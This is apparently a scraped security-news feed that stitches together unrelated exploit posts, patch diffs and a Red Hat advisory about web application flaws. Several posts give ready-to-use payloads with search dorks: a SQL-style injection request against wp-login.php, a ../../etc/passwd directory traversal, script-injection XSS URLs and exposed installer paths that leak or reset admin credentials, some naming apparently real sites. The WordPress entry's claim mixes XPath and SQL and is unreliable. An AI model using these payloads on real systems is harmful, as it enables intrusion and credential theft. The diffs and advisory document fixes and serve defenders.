WordPress Core version 5.6.2 appears to suffer from an xpath injection vulnerability via the log parameter.

    # Exploit Title: WordPress Core 5.6.2 - Xpath Injection# Date: 13/08/2023# Exploit Author: Behrouz Mansoori# Vendor Homepage: https://wordpress.org# Software Link: https://wordpress.org/download/releases# Version: 5.6.2# Tested on: Mac# [ VULNERABILITY DETAILS ] : #This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries.#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.# [ Sample Request ] :POST /wp-login.php HTTP/2Host: localhostCookie: wordpress_test_cookie=WP%20Cookie%20checkContent-Length: 125Cache-Control: max-age=0Sec-Ch-Ua: Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: ""Upgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9log=test' and extractvalue (rand(), concat (0x7e, version () ))--+&pwd=test&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=https%3A%2F%2Ftarget_site%2Fwp-admin%2F&testcookie=1

WordPress Core 5.6.2 XPath Injection

Education Time Indonesian School CRM version 1.7 suffers from a directory traversal vulnerability.

    ====================================================================================================================================| # Title     : Education Time Indonesian School CRM v 1.7 Directory Traversal Vulnerability                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir                                                                                                   |  | # Dork      : "media.php?module=detailberita&id="                                                                                |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : downlot.php?file=../../../../../../../../../../etc/passwd[+]  http://target_site/unit/spi/downlot.php?file=../../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Education Time Indonesian School CRM 1.7 Directory Traversal

The InfiniteWP Client plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 1.11.1 via the 'admin_notice' function. This can allow authenticated attackers with subscriber-level permissions or above to extract sensitive data including configuration. It can only be exploited if the plugin has not been configured yet. If combined with another arbitrary plugin installation and activation vulnerability, it may be possible to connect a site to InfiniteWP which would make remote management possible and allow for elevation of privileges.

CVE-2023-2916: core.class.php in iwp-client/tags/1.11.1 – WordPress Plugin Repository

The User Submitted Posts plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘user-submitted-content’ parameter in versions up to, and including, 20230809 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Timestamp:

08/11/2023 10:14:44 PM (10 days ago)

specialk

Message:

Updates plugin to version 20230811  

Location:

user-submitted-posts

Files:

  

*   tags/20230811 _(copied from user-submitted-posts/trunk)_
*   tags/20230811/library/plugin-display.php (1 diff)
*   tags/20230811/library/shortcode-misc.php (3 diffs)
*   tags/20230811/readme.txt (2 diffs)
*   tags/20230811/user-submitted-posts.php (2 diffs)
*   trunk/library/plugin-display.php (1 diff)
*   trunk/library/shortcode-misc.php (3 diffs)
*   trunk/readme.txt (2 diffs)
*   trunk/user-submitted-posts.php (2 diffs)

**Legend:**

Unmodified

Added

Removed

*   **user-submitted-posts/tags/20230811/library/plugin-display.php**
    
    r2944386
    
    r2952471
    
     
    
    739
    
    739
    
    <pre>class  = classes for the parent element (optional, default: none)
    
    740
    
    740
    
    value  = link text (optional, default: "Reset form")
    
    741
    
     
    
    url    = the URL where your form is displayed (required, default: none)
    
    742
    
     
    
    custom = any attributes or custom code for the link element (optional, default: none)</pre>
    
     
    
    741
    
    url    = the URL where your form is displayed (required, default: none)</pre>
    
    743
    
    742
    
                                    <p><?php esc\_html\_e('Note that the url attribute accepts', 'usp'); ?> <code>%%current%%</code> <?php esc\_html\_e('to get the current URL.', 'usp'); ?></p>
    
    744
    
    743
    
                                </div>
    
*   **user-submitted-posts/tags/20230811/library/shortcode-misc.php**
    
    r2951862
    
    r2952471
    
     
    
    9
    
    9
    
            value  = link text (optional, default: "Reset form")
    
    10
    
    10
    
            url    = the URL where your form is displayed (can use %%current%% for current URL)
    
    11
    
     
    
            custom = any attributes or custom code for the link element
    
    12
    
    11
    
       
    
    13
    
    12
    
    \*/
    
    …
    
    …
    
     
    
    15
    
    14
    
       
    
    16
    
    15
    
        extract(shortcode\_atts(array(
    
    17
    
     
    
            'class'  => '',
    
    18
    
     
    
            'value'  => \_\_('Reset form', 'usp'),
    
    19
    
     
    
            'url'    => '#please-check-shortcode',
    
    20
    
     
    
            'custom' => '',
    
     
    
    16
    
            'class' => '',
    
     
    
    17
    
            'value' => \_\_('Reset form', 'usp'),
    
     
    
    18
    
            'url'   => '#please-check-shortcode',
    
    21
    
    19
    
        ), $args));
    
    22
    
    20
    
       
    
    …
    
    …
    
     
    
    35
    
    33
    
        $class = empty($class) ? '' : ' class="'. esc\_attr($class) .'"';
    
    36
    
    34
    
       
    
    37
    
     
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"'. esc\_attr($custom) .'\>'. esc\_html($value) .'</a></p>';
    
     
    
    35
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"\>'. esc\_html($value) .'</a></p>';
    
    38
    
    36
    
       
    
    39
    
    37
    
        return $output;
    
*   **user-submitted-posts/tags/20230811/readme.txt**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
    Requires at least: 4.6
    
    12
    
    12
    
    Tested up to: 6.3
    
    13
    
     
    
    Stable tag: 20230809
    
    14
    
     
    
    Version:    20230809
    
     
    
    13
    
    Stable tag: 20230811
    
     
    
    14
    
    Version:    20230811
    
    15
    
    15
    
    Requires PHP: 5.6.20
    
    16
    
    16
    
    Text Domain: usp
    
    …
    
    …
    
     
    
    819
    
    819
    
    820
    
    820
    
     
    
    821
    
    \*\*20230811\*\*
    
     
    
    822
    
     
    
    823
    
    \* Removes \`$custom\` variable from \`usp\_reset\_button\_shortcode()\`
    
     
    
    824
    
    \* Tests on WordPress 6.3
    
     
    
    825
    
    821
    
    826
    
    \*\*20230809\*\*
    
    822
    
    827
    
*   **user-submitted-posts/tags/20230811/user-submitted-posts.php**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
        Requires at least: 4.6
    
    12
    
    12
    
        Tested up to: 6.3
    
    13
    
     
    
        Stable tag: 20230809
    
    14
    
     
    
        Version:    20230809
    
     
    
    13
    
        Stable tag: 20230811
    
     
    
    14
    
        Version:    20230811
    
    15
    
    15
    
        Requires PHP: 5.6.20
    
    16
    
    16
    
        Text Domain: usp
    
    …
    
    …
    
     
    
    39
    
    39
    
    40
    
    40
    
    if (!defined('USP\_WP\_VERSION')) define('USP\_WP\_VERSION', '4.6');
    
    41
    
     
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230809');
    
     
    
    41
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230811');
    
    42
    
    42
    
    if (!defined('USP\_PLUGIN'))     define('USP\_PLUGIN', esc\_html\_\_('User Submitted Posts', 'usp'));
    
    43
    
    43
    
    if (!defined('USP\_FILE'))       define('USP\_FILE', plugin\_basename(\_\_FILE\_\_));
    
*   **user-submitted-posts/trunk/library/plugin-display.php**
    
    r2944386
    
    r2952471
    
     
    
    739
    
    739
    
    <pre>class  = classes for the parent element (optional, default: none)
    
    740
    
    740
    
    value  = link text (optional, default: "Reset form")
    
    741
    
     
    
    url    = the URL where your form is displayed (required, default: none)
    
    742
    
     
    
    custom = any attributes or custom code for the link element (optional, default: none)</pre>
    
     
    
    741
    
    url    = the URL where your form is displayed (required, default: none)</pre>
    
    743
    
    742
    
                                    <p><?php esc\_html\_e('Note that the url attribute accepts', 'usp'); ?> <code>%%current%%</code> <?php esc\_html\_e('to get the current URL.', 'usp'); ?></p>
    
    744
    
    743
    
                                </div>
    
*   **user-submitted-posts/trunk/library/shortcode-misc.php**
    
    r2951862
    
    r2952471
    
     
    
    9
    
    9
    
            value  = link text (optional, default: "Reset form")
    
    10
    
    10
    
            url    = the URL where your form is displayed (can use %%current%% for current URL)
    
    11
    
     
    
            custom = any attributes or custom code for the link element
    
    12
    
    11
    
       
    
    13
    
    12
    
    \*/
    
    …
    
    …
    
     
    
    15
    
    14
    
       
    
    16
    
    15
    
        extract(shortcode\_atts(array(
    
    17
    
     
    
            'class'  => '',
    
    18
    
     
    
            'value'  => \_\_('Reset form', 'usp'),
    
    19
    
     
    
            'url'    => '#please-check-shortcode',
    
    20
    
     
    
            'custom' => '',
    
     
    
    16
    
            'class' => '',
    
     
    
    17
    
            'value' => \_\_('Reset form', 'usp'),
    
     
    
    18
    
            'url'   => '#please-check-shortcode',
    
    21
    
    19
    
        ), $args));
    
    22
    
    20
    
       
    
    …
    
    …
    
     
    
    35
    
    33
    
        $class = empty($class) ? '' : ' class="'. esc\_attr($class) .'"';
    
    36
    
    34
    
       
    
    37
    
     
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"'. esc\_attr($custom) .'\>'. esc\_html($value) .'</a></p>';
    
     
    
    35
    
        $output = '<p'. $class .'><a href="'. esc\_url($href) .'"\>'. esc\_html($value) .'</a></p>';
    
    38
    
    36
    
       
    
    39
    
    37
    
        return $output;
    
*   **user-submitted-posts/trunk/readme.txt**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
    Requires at least: 4.6
    
    12
    
    12
    
    Tested up to: 6.3
    
    13
    
     
    
    Stable tag: 20230809
    
    14
    
     
    
    Version:    20230809
    
     
    
    13
    
    Stable tag: 20230811
    
     
    
    14
    
    Version:    20230811
    
    15
    
    15
    
    Requires PHP: 5.6.20
    
    16
    
    16
    
    Text Domain: usp
    
    …
    
    …
    
     
    
    819
    
    819
    
    820
    
    820
    
     
    
    821
    
    \*\*20230811\*\*
    
     
    
    822
    
     
    
    823
    
    \* Removes \`$custom\` variable from \`usp\_reset\_button\_shortcode()\`
    
     
    
    824
    
    \* Tests on WordPress 6.3
    
     
    
    825
    
    821
    
    826
    
    \*\*20230809\*\*
    
    822
    
    827
    
*   **user-submitted-posts/trunk/user-submitted-posts.php**
    
    r2951862
    
    r2952471
    
     
    
    11
    
    11
    
        Requires at least: 4.6
    
    12
    
    12
    
        Tested up to: 6.3
    
    13
    
     
    
        Stable tag: 20230809
    
    14
    
     
    
        Version:    20230809
    
     
    
    13
    
        Stable tag: 20230811
    
     
    
    14
    
        Version:    20230811
    
    15
    
    15
    
        Requires PHP: 5.6.20
    
    16
    
    16
    
        Text Domain: usp
    
    …
    
    …
    
     
    
    39
    
    39
    
    40
    
    40
    
    if (!defined('USP\_WP\_VERSION')) define('USP\_WP\_VERSION', '4.6');
    
    41
    
     
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230809');
    
     
    
    41
    
    if (!defined('USP\_VERSION'))    define('USP\_VERSION', '20230811');
    
    42
    
    42
    
    if (!defined('USP\_PLUGIN'))     define('USP\_PLUGIN', esc\_html\_\_('User Submitted Posts', 'usp'));
    
    43
    
    43
    
    if (!defined('USP\_FILE'))       define('USP\_FILE', plugin\_basename(\_\_FILE\_\_));
    

**Note:** See TracChangeset for help on using the changeset viewer.

CVE-2023-4308: Changeset 2952471 for user-submitted-posts – WordPress Plugin Repository

Cross-site Scripting (XSS) - Reflected in GitHub repository librenms/librenms prior to 23.8.0.

Expand Up

@@ -113,20 +113,20 @@ function formatUnits(units,decimals,display,base) {

post: function ()

{

return {

device\_id: '<?php echo $vars\['device\_id'\] ?? ''; ?>',

device\_id: '<?php echo htmlspecialchars($vars\['device\_id'\] ?? ''); ?>',

hostname: '<?php echo htmlspecialchars($vars\['hostname'\] ?? ''); ?>',

state: '<?php echo $vars\['state'\] ?? ''; ?>',

ifSpeed: '<?php echo $vars\['ifSpeed'\] ?? ''; ?>',

ifType: '<?php echo $vars\['ifType'\] ?? ''; ?>',

port\_descr\_type: '<?php echo $vars\['port\_descr\_type'\] ?? ''; ?>',

ifAlias: '<?php echo $vars\['ifAlias'\] ?? ''; ?>',

location: '<?php echo $vars\['location'\] ?? ''; ?>',

disabled: '<?php echo $vars\['disabled'\] ?? ''; ?>',

ignore: '<?php echo $vars\['ignore'\] ?? ''; ?>',

deleted: '<?php echo $vars\['deleted'\] ?? ''; ?>',

errors: '<?php echo $vars\['errors'\] ?? ''; ?>',

group: '<?php echo $vars\['group'\] ?? ''; ?>',

devicegroup: '<?php echo $vars\['devicegroup'\] ?? ''; ?>',

state: '<?php echo htmlspecialchars($vars\['state'\] ?? ''); ?>',

ifSpeed: '<?php echo htmlspecialchars($vars\['ifSpeed'\] ?? ''); ?>',

ifType: '<?php echo htmlspecialchars($vars\['ifType'\] ?? ''); ?>',

port\_descr\_type: '<?php echo htmlspecialchars($vars\['port\_descr\_type'\] ?? ''); ?>',

ifAlias: '<?php echo htmlspecialchars($vars\['ifAlias'\] ?? ''); ?>',

location: '<?php echo htmlspecialchars($vars\['location'\] ?? '') ?>',

disabled: '<?php echo htmlspecialchars($vars\['disabled'\] ?? ''); ?>',

ignore: '<?php echo htmlspecialchars($vars\['ignore'\] ?? ''); ?>',

deleted: '<?php echo htmlspecialchars($vars\['deleted'\] ?? ''); ?>',

errors: '<?php echo htmlspecialchars($vars\['errors'\] ?? ''); ?>',

group: '<?php echo htmlspecialchars($vars\['group'\] ?? ''); ?>',

devicegroup: '<?php echo htmlspecialchars($vars\['devicegroup'\] ?? ''); ?>',

};

},

url: '<?php echo route('table.ports') ?>'

Expand Down

CVE-2023-4347: Fix unsanitized input injection (#15184) · librenms/librenms@91c57a1

Red Hat Security Advisory 2023-4625-01 - Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an on-premise OpenShift Container Platform installation.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: Red Hat OpenShift Service Mesh Containers for 2.4.2 security update  
Advisory ID:       RHSA-2023:4625-01  
Product:           Red Hat OpenShift Service Mesh  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4625  
Issue date:        2023-08-11  
CVE Names:         CVE-2023-2828 CVE-2023-35941 CVE-2023-35943   
                   CVE-2023-35944   
=====================================================================

1. Summary:

Red Hat OpenShift Service Mesh 2.4.2 Containers

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio  
service mesh project, tailored for installation into an on-premise  
OpenShift Container Platform installation.

Security Fix(es):

* envoy: OAuth2 credentials exploit with permanent validity  
(CVE-2023-35941)

* envoy: Incorrect handling of HTTP requests and responses with mixed case  
schemes (CVE-2023-35944)

* envoy: CORS filter segfault when origin header is removed  
(CVE-2023-35943)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2217977 - CVE-2023-35941 envoy: OAuth2 credentials exploit with permanent validity  
2217985 - CVE-2023-35944 envoy: Incorrect handling of HTTP requests and responses with mixed case schemes  
2217987 - CVE-2023-35943 envoy: CORS filter segfault when origin header is removed

5. References:

https://access.redhat.com/security/cve/CVE-2023-2828  
https://access.redhat.com/security/cve/CVE-2023-35941  
https://access.redhat.com/security/cve/CVE-2023-35943  
https://access.redhat.com/security/cve/CVE-2023-35944  
https://access.redhat.com/security/updates/classification/#important

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIcBAEBCAAGBQJk1pgEAAoJENzjgjWX9erEdf8P/R2dp7OtPRZPuUU1x21pHihH  
Ks8Pu3HrM3aWGm6GBBEeEJ/kw+S/Jjiy+L06w1NuzemAUfP/tTkqlRTjyqmCZpwk  
JjwmO3ee7Z8Lz+LJbLPa2EX+h0hNbyP0xn58Z82fZdfJcCM696fzNIvYMwoJEgp0  
wB/T3ZI625iNN4gWJrV1w4IbyvVXJ1J3RC+gYW8i2IfpR+1jeNQ0RAbgjSSEYGZO  
HvwWuvwx8JYlPDHuXZbG9IkSngOl+W8rULiQVUr1adClGl9lFiYBservNLJ2Kt2E  
obkiqsZRPhPmLiSM9xJPHM3y3eqVJgAjFIUzzbiFEDfE8jnZza1rnEE1sCoZk+p8  
/8HQnPdNK6GKMbxpAFQRTvL3Cjy8NnWFqf44RvjX212SlCnNxw+cQnYF3XhtH+uc  
6Z2ALAgbW5k3smrWAnS2W4uaJdKVX6RBDewDe4BeXxq5kAwsjtDfGOtacl4Gj8Ia  
UEUopVSdpr83/BQwD6T1F33A8IkDWMl5cIOB3ZpnoYkNvkAAM65vrOfIIcxN1AfD  
j4LTNmRoVGl3SgVxbDZTb/d1nhwq5fAYZfYfyHIoGYt7dPUUC/z4LNFwuGWGRqfo  
fqpoA40Ja6hCphgueK4LeH+yGKvQCK1eftSSA3zXqn1EKa7P59LzfPZunyS56Kh/  
pEqFz6KLYjjapPMGqs6Q  
=ffX8  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4625-01

BookingWizz version 6.0.1 suffers from an information leakage vulnerability.

    ====================================================================================================================================| # Title     : BookingWizz v6.0.1 sensitive information disclosure Vulnerability                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | | # Vendor    : https://codecanyon.net/item/booking-system/87919?s_rank=9                                                          |  | # Dork      : "BookingWizz v6.0"                                                                                                 |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] The error is from the developer, as it does not warn you to delete the installation file after completion, or it is deleted automatically.[+] When you add install file they show you the real user and pass for admin panel.[+] Use Payload : /install.php[+] https://127.0.0.1therazorsedgebarberscom/tiff/install.phpGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

BookingWizz 6.0.1 Information Disclosure

DBCInfoTech CMS version 2.0 suffers from an unauthenticated administrator reinstall vulnerability.

    ====================================================================================================================================| # Title     : dbcinfotech CMS v2.0 Reinstall Script Vulnerability                                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://www.themeslide.com/whizclassified-classifieds-cms/                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Reinstall the site manager settings including resetting a new password.    because after the first installation, The setup file was not deleted automatically or by the website owner.    the installation file repeats the installation process.[+] use payload : /index.php/en/install/accountsetup[+] http://127.0.0.1/aphroditepaphiascom/index.php/en/install/accountsetupGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

DBCInfoTech CMS 2.0 Administrator Reinstall

Education Time Indonesian School CRM version 1.7 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Education Time Indonesian School CRM v 1.7 Xss Vulnerability                                                       || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://p30vel.ir                                                                                                   |  | # Dork      : "media.php?module=detailberita&id="                                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine .[+] use payload : /unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberita[+] http://wwumpalangkarayaacid//unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/ramadan%20mubark/)%3C/ScRiPt%3E&module=detailberita/unit/spi/media.php?id=173%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(908942)%3C/ScRiPt%3E&module=detailberitaGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Education Time Indonesian School CRM 1.7 Cross Site Scripting

Eden CMS version 1.02 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Eden CMS v1.02 Xss Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://edendesign.be/fr/                                                                                          |  | # Dork      : intext:"Website by Eden Design"                                                                                    |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352[+]  http://www/miniartextilit/artist.php?lang_id=1%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E&post_id=352        Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

Tag

#php